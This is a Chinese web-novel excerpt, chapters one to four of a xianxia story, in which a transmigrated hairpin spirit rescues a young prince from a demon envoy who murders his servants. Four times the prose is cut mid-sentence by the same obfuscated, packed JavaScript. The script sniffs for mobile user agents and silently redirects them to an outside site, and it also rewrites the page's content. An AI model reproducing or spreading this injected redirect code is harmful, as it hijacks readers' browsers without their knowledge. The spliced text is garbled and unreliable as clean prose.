《碎簪后反派疯了》 1. 云京旧事(一) 景元十二年,秋,云京。 暮霭的深蓝渐渐笼罩下来,天边最后一丝霞光即将沉入地下,云京城的喧哗嬉闹也随之远去,街道上的行人已不多见。 ——北边的边境战乱不断,虽然战火尚未波及到这座都城,但紧张与肃穆的气氛已经随着烽烟飘了进来。 若放在往日,不禁宵夜的云京城必然要热闹到凌晨,可眼下,傍晚的街道上时不时走来巡查的兵士,店铺大多已经关门,市集也散了,剩下些城郊的小商贩,脚步匆匆地往城门赶去。 现在关闭城门的时辰也早了整整一个时辰,即使卖不完,也得早点往家赶。若是出不了城,在城内过夜也是一笔开销。 离西城门只有一街之隔的杏花胡同里,一对年轻夫妇正推着卖菜的独轮车往前走着,车上仍堆了不少竹筐,上面摞着各式各样的青菜,显然是没卖完的样子。 忽然西大街传来一阵急促响亮的马蹄声,为首的官兵大声疾呼:“快关城门!快关城门!陛下有令,快关城门!” 城门口顿时传来喧哗疑问之声。 妇人与丈夫对视一眼,面色都沉重下来。那妇人快步往前走了几步,在胡同转角处的老杏花村后往西城门一瞧,只见守门的兵士正在查看来人出示的书谍,随即便抱了抱拳,摆手示意手下关城门。 骑马的官兵似是察觉到什么,回头查看一眼。 ——在他将要转头时妇人便有所察觉,立马退了回来,蹙眉道:“情况有变,先回去。” 男子也没有多余的话,立即将推车转了个向。回到院子,两人开始手脚麻利地整理推车上的青菜,打算把车子藏起来。 此时竹筐上面的青菜却动了动,男子注意到,当即大惊,药效不是还有一个时辰吗?幸好此时是在院子里,若是在城门口,才真真是船头上跑马——走投无路了。 他小心翼翼地把筐上的青菜拿下来,将盖子打开,正好和一双清凌凌的眼睛对上。 男子躬身行礼,小声道:“殿下,您醒了。” 被藏在竹筐里的是一个长相十分精致的男孩,年岁约莫八九岁,穿着同他们如出一辙的粗布,一醒过来,那种安静乖巧的气质就倏然消散了,取而代之的是一种金尊玉贵之感——这正是当今大攸国陛下的第六子姜放。 他在心里深深叹了口气,低声道一句“得罪”,将姜放从竹筐里抱了出来。令他意外的是,六殿下浑身软绵无力,仍是药效未过的症状,却不知怎么醒了过来。 他抱着姜放一路未停,一直将他藏在了三进院正房后面的一处暗室里,里面支着一张小床,旁边木架上放置着不少食水,暗室正面的墙上挂着一幅山水图,隐约有一丝光亮透进来,让暗室不至于黑得彻底。 男子将姜放放在床上,拿出一个白瓷小瓶,从里面倒出三颗药粒喂姜放吃下,小声道:“殿下,这是贵妃娘娘给的解药,一会儿就能动了。城门早早关了,情况有异,要先委屈殿下在这里待上一段时日,亦或是一个晚上,” 他顿了顿,继续道:“后面恐怕有官兵搜查,我先把推车藏好了再过来。您别怕,贵妃娘娘早有交代。” 说完后,男子从怀里掏出一只做工粗糙的粗葛荷包,像极了民间百姓的“钱包”,但男子对着荷包低声念了几个字,从里面掏出一柱与荷包大小格格不入的细长的黑香来,将其点燃之后,围着姜放身周绕了几圈,又一路走到了庭院门口,黑香刚好燃烧殆尽。 他快步返回暗室,将粗葛荷包放到姜放床边,低声道:“里面有贵妃娘娘交给您的信,您能动了可以先看看,属下先出去了。” 粗葛荷包其实是一种妖的胃囊,炼制之后便成了可以放置外物的储藏器物,这种妖物极其难寻,即便是在都城云京,拥有这样储物法器的人也不会超过五个。 他手里这件,便是今晨云贵妃亲手交给他的,里面不止有“隐踪香”这样的宝物,还有不少金银衣物食水等物。 他拿到手时便知,这非是仓促准备的,大概贵妃娘娘早知不对,便为儿子备下了可供活命的东西。 时间一分一秒过去,那男子却再也没有回来,还有同他一起的妇人。那男子腰间一块玄金腰牌,应是云家的人,而妇人则是母妃宫里的侍女青萍扮的。 暗室里最后一丝光亮也隐去了,姜放睁着眼睛静静躺在黑暗中。药力还未过去,但手指已经可以稍稍动一下了。不知为何,他心中总有些不详之感。 外面常有嘈杂喧哗之声,夹杂着不少哭喊声和怒喝声,即便隔着院落,都隐隐传来。母妃将他秘密送出宫来,难道是北境战败,无屺人已经打进来了吗? 想到父王和母妃的安危,他开始挣扎,丹田里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125923|196071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丁点可怜的内力努力冲击着气海,尖锐的疼痛唤回了一点身体的感知,但是还不够。想到今日昏沉中清醒过来的方法,他在舌尖上又狠狠咬了一口,倏然手指能动了。 此时血流出嘴角,蜿蜒淌过脸颊脖颈,悄然滴到旁边的粗葛荷包上。 一种微弱的联系若有似无地在他脑海中浮现。姜放心念一动,里面的杂物便静静铺满了床铺,几件首饰恰好落在身侧,他随手抓起一样,狠狠刺进腰间,疼痛像隔了一层厚厚的盔甲,缓慢地、尖锐地刺激着身体的知觉。 而此时,姜放手中的那只粉蔷薇花玉簪悄然冒出一点深蓝色光芒——宁乔从沉睡中醒来,看到了外面躺在床上的男孩,他白皙精致的脸上毫无表情,但嘴角脸颊满是鲜血,眸子里盛满了与表情不符的焦急与忧切。 他身处之处,唔,好像是一间暗室。宁乔神念一动,倏然从簪子里漂浮而起,唔,外面是一间很大的宅子,还有不少官兵。她看到了天上亮起的星辰和院子各处举着火把的兵士,已经是晚上了啊。 就在她漂浮出来时,男孩好像也看到了她,他仍不能动,但眸子里充满了震惊与怀疑之色。 宁乔的声音在他脑海里响起:“你是谁?这是哪里?” 他的表情更震惊了。 但他没有回答。 宁乔理解一个被绑架的男孩的谨慎。 她没再开口了,而是绕着这间暗室又转了几圈,寻常人的视力在这种黑暗中大约什么都看不清楚,但宁乔身为“簪灵”,看得倒是一清二楚。 这间暗室十分狭小,宁乔很快失去了兴趣,打算穿堂去别的房间看看,沉睡多年,她现在看什么都津津有味。 然而刚刚过墙,宁乔就走不动了。她也不奇怪,刚穿越时就试验过了,她距离簪子的范围没法太大,之前不过一米左右,现在,她侧头过去估算了一下,能有五米左右了,都是她修炼有功啊。 而且,她戳了戳博古架上放着的青玉小鱼摆件,能够触碰外物了,怎么不算是个伟大的进步呢? 宁乔转回那间暗室,那个床上的男孩已经能勉强坐起来了。他的黑眸仅仅盯住她,似是想和她说话,又欲言又止。 宁乔悠悠坐到了他的床边,姜放身体的重心往旁边移了移。 “外面有只黑色的蝴蝶,是来找你的吗?” 2. 云京旧事(二) 黑色的蝴蝶? 姜放露出若有所思的神情,没有回答,反而像那副山水画那望了过去。 宁乔也往那边看去,但什么都没看出来,她索性凑上前去,这次终于发现山水画上有一个细小的孔洞,透过空洞刚好可以看到外间的大堂和一小截院子。 “那只蝴蝶落在了一个人身上,那人手里拿了把玉扇,背着身,看不清样貌。” 话音刚落,那人便转过了脸,一张极其妖冶昳丽的面容出现在宁乔眼中,他不知是察觉到有人窥探,还是单纯看向蝴蝶飞舞的方向,望了过来。 宁乔坐回了床边。 此时,外面的声音也隐隐传了进来。 “找到六殿下了吗?” “回玉左使,还没有。” “搜吧,就在这间院子里,有隐踪香的味道。” “是。” 隐踪香是一种奇物,燃之可隐藏神魂踪迹,即便用任何气味发丝乃至于血迹、姓名八字都无法找寻,效果奇佳。宁乔在簪子里的书架上读到过,但从来没见过。 搜查者的脚步声更近了些,外面的堂屋被翻得天翻地覆,大约找到这间暗室只是时间问题。 男孩仍然站不起来,脸上的神情倒是恢复了不少,生动许多,虽然仍是没什么表情的样子,但宁乔看到他在悄悄咬牙。 外面又有动静了,宁乔凑到画前看去。 玉左使已经坐在了椅子上,心不在焉地听着下面人说话:“玉左使,陛下命我们尽快找到六殿下,咱们这可都耽误半天了,不知道以您的手段,是不是还能……” 玉左使瞧他看了一眼,吓得后者噤了声,他才道:“那小鬼就在这间院子里,你们找不到,怪谁?”他想了想,“不是还抓了两个人吗?杀给他看。” 那属下应了声,命人提出两个人来,一男一女,浑身血迹脏污,头发凌乱,出气多进气少的样子。 那属下此时权力大得很,道:“给你们最后一次机会,说出六殿下藏身之处,可以饶你们一命。” 得到了一口痰。 另一人一言不发,只狠狠瞪着凳子上的玉闻声。 那属下便手起刀落,杀了一个。 “六殿下,您自己出来,我们便饶了这人。” 等了片刻,没有任何声音。 于是又杀了另一个。 宁乔的好奇轻松之心一下子沉进了水底。 偌大的宅院,火把映得院子通明,她却更感到了夜幕的黑沉,火光下的影子黑暗又狰狞。 静了片刻,外面的玉闻声道:“把云贵妃带过来,看他还出不出来。” 那属下呆了一下,有些为难:“这……” 玉闻声看了他一眼,扔给他一样令牌,道:“去。” 那属下领命去了,过不一会儿,果然带了一个宫装丽人前来,国色天香、明眸皓齿,夜色下更如神仙妃子一般梦幻而高贵。 宁乔听见身后“咚”地一声极为小声地闷响,原来是那男孩身形不稳,跪在了地上。她猜到外面之人对男孩来说大约十分重要,过去掐住他身体搬到了山水画旁。 男孩一见到外面的宫装丽人,登时握紧了拳头,眼睛一眨不住。 玉左使道:“贵妃娘娘,您劝劝六殿下呢?” 贵妃娘娘眼睛里满是怒火,却道:“你这玄都司的妖人,惑上乱国,早晚不得好死。”说着,声音又温柔下来,道:“放儿,别出来,好好活下去。” 还没说完,便挨了一巴掌,玉左使慢悠悠道:“既然贵妃娘娘不配合,不知道六殿下是不是能亲眼看着母亲受辱而无动于衷?” 宁乔见姜放指尖都掐出了血,却仍是一声不吭,既觉得复杂又有点佩服,是个狠人啊,才这么小就有这种城府。 玉左使见院子里没有动静,变本加厉,命人一直扇云贵妃的巴掌,足足有十几下才停。 后者脸颊已经高高肿起,恨声道:“玉闻声,我儿来日必报此仇!” “玉闻声”这三个字一出来,放佛有一道惊雷火花带闪电般劈在了宁乔脑袋里,惊起了她无数的记忆与思绪!玉闻声!玄都左使玉闻声;姜放,姜敛之的大名,他的母亲正是云贵妃,因仙人壁舞一案被冤屈赐死,姜敛之由此黑化复仇,成了《遥仙传》里最大的反派boss。 《遥仙传》的同人文她看了无数本,有不少就是在仙人壁舞案之前挽救反派boss的设定。还有玉闻声,美艳绝伦的前期小boss,也是人气角色之一,只可惜下场不太好,在后期来看武力值不够,魅力值大减。 原来她是穿书了,她还以为自己是平平无奇地穿越,平平无奇做了只簪灵,还想着修炼有成了找找回家的办法,如果是穿书了,那还有希望吗? 此时,暗室里莫名传来窸窸窣窣的声音,宁乔扫眼望去,不知何时已经爬满了虫子! 而外面的玉闻声突然勾唇一笑:“找到你了。” 云贵妃“嘭”地一声化烟消失了,玉闻声的身影却闪现在了暗室里。 他看清暗室里的情况,见到宁乔时顿了一下,仿佛有些吃惊,但并没有对她出手,而是伸手向姜敛之抓去。 姜敛之根本躲闪不及,被玉闻声一下子按住了肩膀,但他另一只手中突兀地出现了一只匕首,飞速向玉闻声的手掌削去。 玉闻声避也不避,那匕首却“叮当”一声裂出了纹路,姜敛之的虎口处也渗出血迹。 玉闻声轻嗤了一声,手下微微用力,宁乔就听到姜敛之的肩膀传来碎裂声。 她眉头狠狠皱了一下,却见姜敛之满眼仇恨,仿佛不觉疼痛,手里又出现一只簪子,向玉闻声扎去。 宁乔眉头一动,而玉闻声仍是一点不避,莫说是只簪子,便是任何刀枪剑戟,种种凡铁,根本无法伤他分毫。 姜敛之心中的仇恨化作了无尽的力道,簪子带着破空声扎了上去。然而这一回,玉闻声苍白的手掌却被洞穿了个彻底。 玉闻声和姜敛之都是一愣,前者下意识松开了手,后者则拔出簪子还欲再扎。 宁乔看着毫不留手击向姜敛之额头的玉闻声,和还带着婴儿肥的凄惨的姜敛之,心中大叹了一口气,心道:“书里的结局未必是这里的结局,再怎么说,姜敛之还不是作恶多端的大反派,只是一个清白无辜、即将被冤死的孩童。” 她心头一软,如流光般飞身到了姜敛之身旁,抓住这一刹那的空档,提着姜敛之的身体,转瞬间消失在了原地。 流光消失,原地空无一人。 玉闻声看着手下空空荡荡的密室,若有所思。 *** 下一刻,宁乔则带着姜敛之出现在了一处密密麻麻的树林里,姜敛之的攻击尚未收势,这下也落了个空。 宁乔这一招叫作“千跃术”,她练了将近三年,又养了五十年的魂力,才能跑出去百里。 姜敛之骤然移到了树林里,适应了几息,看清了眼前的环境,强撑的力道松开,一下子瘫倒在地上。他眼眶泛着红,目光似是落在空处,又像是在看眼前黑漆漆的树林,好半天一动没动。 宁乔叹了口气,这么小的年纪就突然遭逢这么大的变故,换做是谁没法立即平静下来。只不过那个玉闻声还是很厉害的,她没跟人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125924|196071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打过架,万一对方又追过来,不知道还有没有这么好的逃跑机会了。 但是把这小孩一个人扔在这荒山野岭的也不行,便道:“你接下来想去哪?我可以送你过去。” 他应当知道云家军在哪,这时候云将军应该还活着,在小说里,是陛下在赐死云贵妃之后才下令急召云将军回京的,如果这会儿姜敛之能和云将军接上头,也能改写云将军和云家军的结局。 姜敛之声音沙哑,却问:“你是谁?”双眸紧紧盯着她,观察着,毫无普通孩童的清澈无辜感,而是沉静的、绝望的、理智的,让宁乔觉得自己是在和一个大人说话。 她指了指姜敛之手里那支簪子,意味不言而喻。 姜敛之并没有太多意外的神情。 反而换成宁乔惊讶:“你猜到了?”果然狡猾的反派小时候也是狡猾的小鬼。 姜敛之不语,继续问道:“你为什么救我?” 宁乔实话实说:“救人一命胜造七级浮屠嘛。” 姜敛之盯着她,说不上来信还是不信。 宁乔看着他的神色,忽然想起了刚才院中一幕,一种莫名却又笃定的感觉涌上心头,道:“你方才就知道那是假的云贵妃!” 姜敛之不语,却也没反驳,半晌才道:“母妃给我取了小字,”他顿了一下,仿佛有些极为复杂的情绪让他吐字艰难起来,“敛之,她一直唤我敛之。” 安静的树林传来沙沙的风声,月光透过枝叶的缝隙洒到地上。 姜敛之哑着声音打开了点话匣:“母妃的神态也不是那样的,再危急的时候也总是沉静自若的,她的话也很少,也不会那么气弱……”姜敛之的声音渐渐低下去,终于露出几分脆弱来。 再怎么坚强聪慧,毕竟只有八九岁。 宁乔上前几步,蹲下来想拍一下他的头,他往后躲了一下,宁乔却见他突然身体一僵。 是了,他方才被捏碎了肩膀,瘫坐在那一动不动,恐怕也是动不了了,脸上虽然仍看不出多少痛色,但额头上早就沁出了冷汗。 难为一个小孩这么能忍痛,宁乔想到那种痛苦发生在自己身上,不由得苦了脸,她可受不了这种疼,肯定早就号啕大哭、涕泗横流了。 跑之前先给他治个伤吧。 宁乔道:“忍着点。” 姜敛之还想再躲,被宁乔一只手按住了受伤的肩膀,疼痛感骤然袭来,但紧接着一股温暖的力量从肩膀处传来,强大的生机自动修补着姜敛之的身体,片刻后宁乔收手,身形更透明了几分,而他的肩膀也不疼了。 “大约一个晚上就能恢复了。怎么样,这一手厉害吧!” 对于这手“回春术”,宁乔颇为自得。她在簪子里出不来,幸好那里面有整整一墙书架,她闲得没事净研究那些法术了。 姜敛之紧绷的神色也缓和了不少,他打量着眼前这个散发着淡蓝色光晕的透明的少女,一身儒裙看不清颜色,侧编发上簪了一支与他手里簪子如出一辙的玉簪,眼眸灵动,面色和善,似人非人。 给他疗伤后身形透明了许多,却偏偏一副自得的样子。 姜敛之忍不住问道:“你想要什么?” 宁乔被问得一愣,想要什么?她看了看姜敛之的神色,忽然对上了他的脑回路。贵人嘛,有所助便是有所求,不然为什么要救他呢? 她本想说没有,忽而转念一想,估计说了他也不信,便胡诹了一个:“黄金百两吧,千两也行,多多益善。” 姜敛之迟迟没有回答,宁乔见他一副不信的样子,本打算换个理由,却听到他十分郑重地应了一声:“好。” 3. 云京旧事(三) 行。信了就行。 “商量一下去哪,怎么走吧。” 姜敛之思索了一会儿,道:“去益州长明关。既然是父王下令,我们便不能走官道,最好走山林小路。”他突然想起什么,问道:“你白天能出来吗?” 宁乔道:“我又不是鬼,当然能出来了,不过嘛,出来了也不像人。” 姜敛之思索片刻,在心里划掉一个选项,道:“既然如此,那我唤你时你再出来。走吧。” 宁乔没什么异议,问道:“益州在什么方向?” 姜敛之道:“在西北。” 见宁乔没动,估计她也没法辨认方向,于是在粗葛荷包里找到一个火折子,点燃后林子里走走转转,找到一棵草叶细长的小草,然后将火折子熄灭,把小草放在月光下。 宁乔围过去,见草叶竟然在月光下转了个方向,惊奇道:“这是什么?” 姜敛之道:“月见草。在月光下新鲜的草叶会转向北方,行军时常用来辨别方向,我……”母妃教我的。最后一句哽住了,心里又感到绵密的疼痛。 宁乔恍然大悟:“这就是月见草啊,真是神奇。”不管在哪个世界上,生物总有其神奇之处。她在古籍上看过,却没法在现实中辨认,今天真是长见识了。 既然知道了方向,宁乔担心玉闻声追来,掐住姜敛之的身体,流光出现,又一次“千跃”,再睁眼时便到了一条小河边。 秋天的河水波光粼粼,月光下亮堂堂一条。 宁乔今天连续使用魂力,实在有点挺不住了,她打了个呵欠,飘进了簪子里,簪子上一闪一闪的蓝光证明她还没有昏睡过去。 “走一段吧,两百里出去,玉闻声有什么手段也得追一会儿。” 姜敛之拿起簪子打量了一会儿,擦了擦簪身,塞到了胸前的襟袋里。他“嗯”了一声,用方才的月见草辨认了一下方向,向着西北方走去。 “说起来,隐踪香是隐匿踪迹的奇物,玉闻声为什么能这么快找到你?”宁乔的声音里传来浓重的困倦感。 她接着道:“如果不是有人告密,便是玉闻声有什么追踪的手法。” 这可就说不准了,本方世界奇幻诡谲,术法奇物层出不穷。宁乔一时间脑洞大开,傀儡术、九方局、梦魇术……都能达到这个效果。 “不过,”她想起玉闻声在外面搜查时说过一句“这里有隐踪香的味道”,忽然心头一跳,“难道是隐踪香本身的味道?” 这个猜测实在很有道理,姜敛之心道。云十一确实在暗室里给他烧过隐踪香,谨慎起见,一路走到了院子里。云十一的身上必然也沾染了隐踪香的味道,所以出去的时候便轻而易举被发现了。 他的脚步渐渐慢了下来,隐踪香确实是天下奇物,价格贵重,制作不易,整个云京会使用隐踪香的也寥寥无几,尤其是在这个当口上。 找他不易,若是反过来,找隐踪香,却容易千百倍不止。 他忍不住深思一层,“仙人壁舞”出现在一月之前,母妃久居深宫,得到这些隐踪香时又是在什么时候呢,遑论玄都司本身就是妖魔鬼怪齐聚,玩弄这些诡谲术法更是行家…… 姜敛之彻底停住了脚步。 宁乔“蹭”地一下从簪子飘了出来:“隐踪香的成分我不清楚,但你最好脱了这身衣裳,再去水里滚上一圈,说不定有用。” 姜敛之点了点头,从粗葛荷包里翻出一身干净衣裳,要脱衣服的动作突然停了下来。 他看着宁乔。 宁乔看看他。 宁乔回了簪子。 “扑通”一声,又有些窸窸窣窣的声音传来,直到姜敛之道:“好了。”宁乔才出来,看到姜敛之用火折子点燃了之前那身衣裳。 火烧得很快,宁乔略略放下心来。 两人再次上路。 宁乔跑回簪子翻找之前看到过的隐踪香的古籍。 水能隔绝掉大部分气味,但隐踪香所用之物,不知道会不会有什么奇特之处。眼下她魂力不够,“千跃”一天之内能用个两次已是拼尽全力,再多便更不可能了。 不知道玉闻声还有没有别的手段。 宁乔在簪子里翻着书架上的书,这本不是,这本也不是…… 这时她忽然察觉姜敛之脚步停了下来。 “怎么啦?” 她出来一看,道路前方的草叶上站了一只黑色蝴蝶,翅膀边缘有一圈亮银色的光晕。 “玉闻声!” 霎时间千百只黑色蝴蝶涌现出来,在漆黑的深夜里明亮而炫目地飞舞着。玉闻声的身影就从这些蝴蝶身后显现出来。 “跑得很快,两位。”见到姜敛之换掉的衣服,扬了扬眉,“反应也很快,可惜,没用。” 宁乔飘在姜敛之身前,道:“阁下也不慢。” 姜敛之想拨开宁乔,后者的身形却纹丝没动,反而不知道用了什么方法,将他定在了原地。 她神情紧张地戒备着玉闻声动手,穿越多年,理论经验9999+,实战经验0000,数值偏得很彻底。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125925|196071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉闻声却没忙着攻击,而是好整以暇地问她:“你是谁?这件事本来与你无关,若你现在让开,便可安然自在,若是非要掺和进来,我保你神魂俱灭。” 很熟悉的放狠话环节,宁乔很擅长:“你要是现在让开,也可安然自在,若不然,我打得你满地找碎片。” 玉闻声的好脾气消失了,眉头一拧,便要动手。 宁乔又道:“你的真身是尸傀吧,尸傀的弱点明显又脆弱,所以你不惜炼制妖身加以伪装,若是被你的仇家知道了,恐怕活不过今年。我劝你弃暗投明,放我们离开,我可以不把这个秘密宣扬出去。” 玉闻声动作顿了一下,拧着眉眸光似鹰隼般直射过来:“你怎么知道的?”语气很有些危险。 当然是看小说知道的。 “当然是我神通广大。” 玉闻声笑意不达眼底:“我对妖魔精灵向来宽容,但阁下知道得太多了,便留下这条命吧。” 啊?! 宁乔:“等等!我知道你有把柄在国师手里,你若是不动手,我可以帮你解决这个把柄。” 玉闻声神情危险,却真的没再动手了,仿佛在斟酌些什么。 宁乔刚要松一口气,便听到玉闻声笑道:“六殿下好似不是这般想的。” 她转头去看姜敛之,被她定在原地的姜敛之眼眶泛红,眸子里是纯粹的、惊人的恨意,像一把寒气逼人的锋刃。 玉闻声道:“阁下说了这么多,如此怯战,对我已是如此,谈何对付国师?”他微微叹了一口气,极为可惜的样子。 玉扇一抬,千百只黑蝶便涌了上来。 宁乔确实怯战,但说服玉闻声又何尝一试呢,这个方法行不通,她还有二三四个备选。见玉闻声果然没有留手,宁乔双手快速结印,对地一指,一道幽蓝色的结界拔地而起,蝴蝶扑在上面,纷纷凭空消失。 这是“困字诀”,既可以用来困敌,也可以在形成结界保护己方。唯一的问题是她今天魂力消耗太多,恐怕撑不了多久。 玉闻声的蝴蝶也是法力所化,消失了多少,扑上来的就更多。宁乔隐约记得这蝴蝶带毒,丝毫不敢松开结界。 但长此以往结界必碎。 宁乔传音给姜敛之:“搭住我肩膀,我喊三二一,我们就跑!” “三!”她将“困字诀”的范围扩大了三米多,“二!”察觉到姜敛之把手搭了上来,“一!”趁着蝴蝶消失的真空期,她立刻收手发动“千跃”。 三十六计,走为上计! 4. 云京旧事(四) 流光一闪,玉闻声看到后微微勾唇,一直在后面看戏的他随意将扇子戳到了旁边的树干上,霎时间,一道巨大的黑色囚笼在这片空间具现了出来。 空间之内,遁术禁绝! 宁乔的流光被黑色囚笼猝不及防地拦了下来,蝴蝶再度扑涌而来,幸亏宁乔反应够快,立马招了一道“雷字诀”,一道细微的天雷透过黑色囚笼打了下来,劈死了最近的蝴蝶。 宁乔看到眼前这道细微的天雷,半是惊喜半是意外。惊喜这黑色囚笼并没有隔绝天地之力,意外这道天雷这么细弱,比头发丝粗不了多少。 “雷字诀”动静太大,她以前没敢试验,只是感觉到能劈出来就收手了。宁乔抬起手掌端详,到底是因为这黑笼呢,还是她的“雷字诀”有问题? 玉闻声:“跑不了了?你以为我这么晚追过来,是因为什么呢,还不是为了这道‘万绝阵’。”他笑眯眯的,显得心情很好。 宁乔确实吃了个闷亏,但“万绝阵”几个字一出,她就想起来了,这套阵法也是用来困人的,除了范围更大、施法更广之外,只需法力触发,算是一种现成的法阵。威力最强大的,一旦阵成,里面的生灵便都要死绝。威力一般的,也能禁绝各种遁术,堪称居家旅行、杀人放火一把好手。 不过嘛,万绝阵也有缺点,一是不能承受比起阵者更强大的攻击力;二是阵眼所在极为脆弱,而且必然要在阵中;三是起阵者死,阵法破。 和玉闻声拼攻击力,估计是拼不过;找阵眼,也不太容易;而起阵者死,尸傀的弱点她倒是知道,只不过现下找不到啊。 啧,确实有点棘手了。 与此同时,铺天盖地的黑蝶与虫潮汹涌而来。 能抵挡一时,却无法抵挡一世,如果继续下去,终究会被耗干魂力。 生死关头,所受的震撼与威慑远超以往任何时刻的冲击。 宁乔有片刻的失神,但随即心里涌现出奇异的冷静与镇定来。她沉住气,手印快速交叠,在地上固化了一道“困字诀”,微弱的蓝色光晕将他们包围其中,坚强而倔强地抵挡着黑蝶与虫潮的攻击。 她站在原地,观察着阵外的玉闻声。其实一二三点都有机会,但也只能尝试,无法保证成功。玉闻声的真正实力,究竟有多强呢? 姜敛之看出了她身上魂光的黯淡,忽然掏出胸口的玉簪塞给宁乔,自己拿着一把长剑站到了宁乔身前劈舞。 宁乔手里被塞了样东西,电光火石之间,她明白了姜敛之的意图。 如果有人必须要死,只能是我,至少先是我。 如果确实走投无路,那便战死,直到最后! 宁乔握紧了手里的簪子。 既然无法确定哪一点能破阵,那便一起! 她的心里生出无限的勇气和胆魄,先是飞快在姜敛之剑尖凌空绘来一道符文,传音道:“别管那些蝴蝶和虫子,对着一个点刺!” 姜敛之动作一转,对着屏障狠狠刺去。 紧接着,宁乔又在双手结印,在地面上用了一个大范围杀伤性法诀——“万物霜天”!整个空间以宁乔手指为中心气温骤降,蝴蝶和虫子被冰霜纷纷冻住,地面也结出一层冰霜,并迅速向周围扩散而去。 玉闻声见势不妙,立即向宁乔祭出玉扇。这簪灵来历不明、不知底细,他并不想直接交手,而是打算以“万绝阵”将其困死。 但这套“万绝阵”并非原版,阵眼脆弱,为保护阵眼设置了保护灵力。宁乔这招不至于直接破坏阵眼,却会令其显形,届时破阵便是眨眼间的事。 玉扇破空而来,宁乔闪过,继续在半空中结印——“万绝阵”没法隔绝天地之地,不知道阵外的“雷字诀”,威力究竟几何?! 就在一道粗壮的天雷狠狠劈向阵外的玉闻声时,他的玉扇也追踪而来,且速度更快更急! 宁乔被打了个正中,漂浮的身形散了一下,再凝实的时候身形几乎透明了。 这一击又凌厉又狠绝,宁乔在心里痛骂玉闻声三百遍。 她又痛又困,强撑着没有回到玉簪中,观察到紧挨着玉闻声那边屏障内的一个石子并没有被冻上,便知这里就是阵眼了。 已经用不出法术了,宁乔索性飘过去拿着簪子狠狠一戳——黑色的牢笼立即片片碎裂开来,万绝阵破! 玉闻声的玉扇击中宁乔之后便被召回了主人手中。 玉闻声不知道有多少好宝贝,尸傀之身挨了那么一道天雷,竟然没劈死他。 宁乔颇有些可惜。 玉闻声看着被冻住的左脚,也不由得赞了一声:“好心机。”宁乔接连甩出两个大范围术法,竟还有心思将其衔接起来,担心他在天雷之前先行遁逃,先将他冻在了原地。 等他的注意力从天雷上面移开时,布局早就完成了。 可惜他费了一颗珍贵的替命珠。 “不过,破了阵亦是徒劳,你已经用不出魂力了吧。” 宁乔连假笑都笑不出来了。 “不劳你费心了。” 她已经飘到了姜敛之身旁,一道流光包裹着两人的身影,再次原地消失了。 玉闻声看着一片霜花的湖边,露出了藏在身后的右手。上面一道道纹路纵横交错,深入骨肉,只不过尸傀身体特殊,并不会流血,这才没让宁乔看出来。 他眸中浮现出一抹杀机。 另一头,宁乔仅仅携着姜敛之遁出去三五里就没有力气了,夜幕下她的身形黯淡飘忽得几乎要看不见。 把姜敛之放下,看到他担忧的眼神,宁乔勉强嘱咐了一句:“我没事,要睡一觉,你自己小心点儿。”就飞速钻进了簪子里。 救人也不是那么好救的啊。 仅这一个念头闪过,她便彻底陷入了黑沉的梦乡中。 *** 宁乔再一次苏醒过来,钻出簪子一看,夜幕星辰,又是一个晚上。 姜敛之坐在一个山坳处烤火,见她醒来,眼神一亮。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125926|196071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宁乔伸了个懒腰:“唔,我睡了一整天吗?” 姜敛之比了个“三”的手势。 宁乔大惊:“三天?” 修补魂力最好的方式就是睡觉,如果她愿意,一睡五百年也不是不行,只不过中间会做梦,会睡不着,凭空躺在僵在那里会更难受。 但即便如此,一睡十年二十年却相当轻松。 宁乔之前损耗太多,急需睡眠,但她担心一觉过去姜敛之被玉闻声杀掉,只敢让自己睡一小会儿,没想到竟有三天了。 姜敛之点了点头,从怀里掏出一个布包,拨开露出个白胖胖的包子来。 他递给宁乔,目露询问。 宁乔还是恹恹的,打了个呵欠,道:“我不吃包子。”自从成了簪灵,吃东西一点味道都没有。 姜敛之也没问为什么,又将包子收进了粗葛荷包里。 